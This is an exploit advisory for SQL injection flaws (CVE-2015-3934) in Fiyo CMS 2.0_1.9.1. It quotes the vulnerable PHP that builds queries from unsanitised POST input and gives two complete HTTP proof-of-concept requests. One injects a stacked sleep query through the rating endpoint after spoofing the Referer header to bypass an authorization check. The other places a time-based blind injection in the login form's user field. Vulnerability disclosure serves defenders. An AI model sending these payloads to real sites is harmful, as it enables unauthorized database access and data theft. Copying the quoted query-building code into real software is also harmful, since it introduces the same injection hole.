Fiyo CMS 2.0_1.9.1 – SQL Injection
# Exploit Title: Fiyo CMS multiple SQL vulnerability # Date: 2015-06-28 # Exploit Author: cfreer (poc-lab) # Vendor Homepage: http://www.fiyo.org/ # Software Link: http://tcpdiag.dl.sourceforge.net/project/fiyo-cms/Fiyo%202.0/fiyo_cms_2.0.2.zip # Version: 2.0_1.9.1 # Tested on: Apache/2.4.7 (Win32) # CVE : CVE-2015-3934 1、 The vulnerable file is /apps/app_article/controller/rating.php, because the rating.php includes jscore.php, so we must add referer in HTTP Data Stream to bypass the limits of authority.when the 'do' equal 'rate' the vulnerable is same too. require('../../../system/jscore.php'); if(!isset($_POST['id'])) header('../../../'); else { $id = $_POST['id']; $db = new FQuery(); $db->connect(); $qrs = $db->select(FDBPrefix.'article','*',"id=$id"); $qrs = $qrs[0]; POC: HTTP Data Stream POST //fiyocms/apps/app_article/controller/rating.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:80/fiyocms/ Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=nl1e3jdfd8i7flnhffp37ro2s3 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 48 do=getrate&id=182;select sleep(5) -- ===================================================================================================================================== 2、 POC: POST /fiyocms/user/login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=4gl29hsns650jqj5toakt044h0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 71 user='%2B(select(0)from(select(sleep(5)))v)%2B'&pass=poc-lab&login=Login The vulnerable file is \apps\app_user\sys_user.php if(isset($_POST['login'])) { $_POST['user'] = strip_tags($_POST['user']); $qr = $db->select(FDBPrefix."user","*","status=1 AND user='$_POST[user]' AND password='".MD5($_POST['pass'])."'"); The parameter of user is vulnerable. strip_tags doesn't work, Still can be bypass. |